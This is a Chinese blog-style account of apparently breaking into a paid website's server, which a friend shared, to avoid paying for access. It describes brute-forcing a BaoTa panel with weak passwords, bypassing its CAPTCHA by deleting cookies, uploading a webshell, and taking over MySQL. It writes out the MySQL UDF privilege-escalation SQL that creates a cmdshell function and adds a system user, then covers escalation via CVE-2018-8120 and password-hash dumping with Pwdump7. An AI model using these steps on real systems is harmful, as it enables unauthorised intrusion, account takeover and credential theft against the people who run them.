朋友分享一个站点,点开需要购买点卡,本着节约的原则,简单做了一个测试,于是便有了下文
爆破宝塔系统,页面提示三次错误将出现验证码,那么如何记录错误次数,猜测是通过cookie,删除cookie
弱口令爆破成功,进入宝塔后台
从宝塔后台获取phpmyadmin,root权限
同样可以看到文件系统,但只能看到网站目录,宝塔系统提示,从宝塔建站,默认user权限
上传shell,同样是只能看到当前网站目录
考虑通过phpmyadmin提权,发现系统禁止root外连,虽然没有必要,但还是尝试开启外连,用navicat连接数据库接管,用户中找到root用户,编辑权限,开启任意主机链接
采用udf提权,提权的话需要写入导出权限,但是由于权限设置不能导入导出
因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件
通常操作为以下步骤,但是没有写权限,有了上传权限更方便操作,直接跳过udf导出步骤:
Udf需要导出到\lib\plugin目录,一般该目录不存在\lib\plugin目录。
可以尝试利用NTFS ADS创建 plugin目录
查询 select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
导出UDF.DLL
随便选一个库
查询 CREATE TABLE Temp_udf(udf BLOB);
查询 INSERT into Temp_udf values (CONVERT($shellcode,CHAR));
查询 SELECT udf FROM Temp_udf INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\udf.dll';--
查询 Create function cmdshell returns string soname 'udf.dll';
查询 select * from mysql.func;
查询 select cmdshell('net user test test /add');
手动创建plugin目录,上传udf.dll文件,执行以上sql代码,创建账号,拿下服务器
利用Cve-2018-8120创建账号完成添加管理员
导出hash,利用Pwdump7
这个过程遇到一个问题就是,菜刀下模拟终端无法使用,目录只能看到网站目录,导致一段时间内以为是权限问题,而磁盘下的目录又只是一个网站目录,加深这种认识,拿下服务器的时候才发现是想多了,只有那一个目录。。。